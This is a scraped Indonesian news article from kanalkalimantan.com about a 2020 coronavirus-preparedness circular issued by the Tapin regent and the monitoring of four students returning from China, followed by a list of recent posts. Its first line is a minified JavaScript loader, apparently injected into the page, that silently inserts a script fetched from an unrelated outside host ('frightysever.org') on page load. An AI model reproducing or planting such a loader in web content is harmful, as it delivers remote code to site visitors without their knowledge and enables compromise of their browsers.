(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Waspada Corona, Bupati Tapin Terbitkan Surat Edaran ke Dinas hingga Puskesmas


KANALKALIMANTAN.COM, RANTAU – Bupati Tapin HM Arifin Arpan menerbitkan Surat Edaran (SE) bernomor : 453/041/Dinkes/2020 tentang Kesiapsiagaan Penyebaran Penyakit Infeksi Novel Corona Virus tertanggal 5 Februari 2020.

SE ditujukan kepada Kepala Dinas Kesehatan dan Kepala SKPD di lingkungan Pemerintah Kabupaten Tapin. Kemudian, Direktur RSUD Datu Sanggul Rantau, Direktur RSU Handayati Rantau, Camat se Kabupaten Tapin dan Kepala Puskesmas. Dalam suratnya, Arifin Arpan meminta agar semua camat di memantau penduduknya. Langkah ini guna meningkatkan kewaspadaan terhadap penyebaran penyakit Novel Corona Virus dan segera melaporkan jika menemukan penduduk yang terindikasi terpapar virus corona.

Sebelumnya, empat pelajar asal Kalsel yang menimba ilmu di Provinsi Nanjing, China– yang berada pada jarak 500 km dari Wuhan, tiba di Bandara Syamsudin Noor, Sabtu (8/2/2020) pukul 16.30 Wita. Mereka datang menggunakan pesawat Lion Air No. Flt JT524 jurusan Cengkareng-Banjar.

Keempat penumpang tersebut sebelumnya diperiksa oleh alat Thermal Scanner milik Kantor Kesehatan Pelabuhan (KKP) di Bandara Syamsudin Noor, Banjarbaru. Meski dari hasil pemeriksaan dinyatakan sehat, namun keempat pelajar tersebut dilimpahkan ke Dinas Kesehatan untuk penanganan lebih lanjut.

Hal ini sebagai upaya antisipasi, dengan melakukan pengawasan selama masa inkubasi 14 hari oleh Dinas Kesehatan di tempat daerah asal pelajar masing-masing. Keempat pelajar tersebut yakni atas nama M Shalahuddin Ayyubi asal Tapin, Adha Yudha Tri Buana asal Tanah Laut (Tala), Muhammad Shada Nasywa asal Tabalong, dan Muhammad Fitrian Azhari asal HST.

Terkait informasi ini, Kepala Dinas Kesehatan Tapin H Alfian Yusuf saat dikonfirmasi Kanalkalimantan.com, membenarkan seorang pelajar Tapin yang pulang dari China tersebut. Ia mengatakan, bahwa yang bersangkutan saat ini sudah mendapat pengawasan khusus dari Dinas Kesehatan Tapin.

“Yang bersangkutan sesuai dengan prosedur akan dilakukan pengawasan intensif selama masa inkubasi 14 hari. Tentunya dalam masa tersebut, dia tak boleh keluar rumah dan ada petugas dari Dinas Kesehatan yang memantau setiap hari,” ungkapnya.

Alfian mengatakan, meski Shalahuddin dinyatakan sehat tetapi pengawasan tersebut sebagai upaya antisipasi. “Jadi tidak perlu khawatir, karena dia sudah dicek juga dengan thermal scanner di bandara lain dan dinyatakan sehat. Termasuk saat masuk ke Jakarta juga,” terangnya.(kanalkalimantan.com/cel)

Reporter : Cel
Editor : Kk


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

4 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

4 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

4 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

6 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

7 jam ago

This website uses cookies.